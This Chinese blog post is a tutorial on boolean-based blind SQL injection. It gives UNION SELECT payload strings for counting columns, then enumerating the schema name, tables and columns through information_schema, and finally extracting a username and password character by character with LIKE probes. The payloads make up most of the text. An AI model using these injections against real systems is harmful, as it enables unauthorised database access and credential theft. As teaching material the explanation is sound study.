基于布尔值的Blind SQLi
基于布尔值的Blind SQLi
一些浏览器页面会回显{”taken“:true},这是因为服务器的API点包含了登录查询功能,在进行查询时会检查该值是否已注册
url例如:
?username=admin
相当于
select * from users where username = 'admin' limit 1;
假设admin是已注册的
则会回显true,但若是改为admin123,则回显false
这时可以改为
?username=admin123 ' union select 1;--
等于
select * from users where username = 'admin123 ' union select 1;--' limit 1;
等于
select * from users where username ='admin123' union select 1;
这时就的枚举列数了,直到返回ture
这里假设列数为3:
即输入 admin123 ' union select 1,2,3;--
时返回true
这时便可以开始枚举schema的名字了
admin 123' union select 1,2,3 where database() like 's%';--
s% 表示是以s开头的,即若是以s开头的则返回true
这得一个一个字符的测试,返回true后接着输入下一个字符,如sq%,直到枚举完
当然这里时说原理,真正的时候还是得靠脚本
这里假设schema的名字为sqli
那么得接着枚举sqli下的table了
admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli' and table_name like 'a%';--
同样的,一个一个字符的枚举table的名字,直到枚举完
这里假设存在table的名字为users
接着就得枚举column的名字了
admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli' and TABLE_NAME='users' and COLUMN_NAME like 'a%';
同样的从a字符开始枚举,知道枚举完
这里假设存在一个名为id发column
那么我们此时必须得避免重复枚举
admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli' and TABLE_NAME='users' and COLUMN_NAME like 'a%' and COLUMN_NAME !='id';
!='id' 就是避免重复枚举带有id字符的column
这里假设存在有id、username、password这三个column
同样地从a开始枚举username,直到枚举完
admin123' UNION SELECT 1,2,3 from users where username like 'a%
这里假设存在有admin这样一个username
同样地从a开始枚举password,直到枚举完,注意枚举是枚举所有的字符:大写、小写、数字、标点符号,全都要,当然人为操作太困难了
admin123' UNION SELECT 1,2,3 from users where username='admin' and password like 'a%
假设,最终枚举完得到的password为1234
本文来自博客园,作者:野荷,转载请注明原文链接:https://www.cnblogs.com/jhinjax/p/17258440.html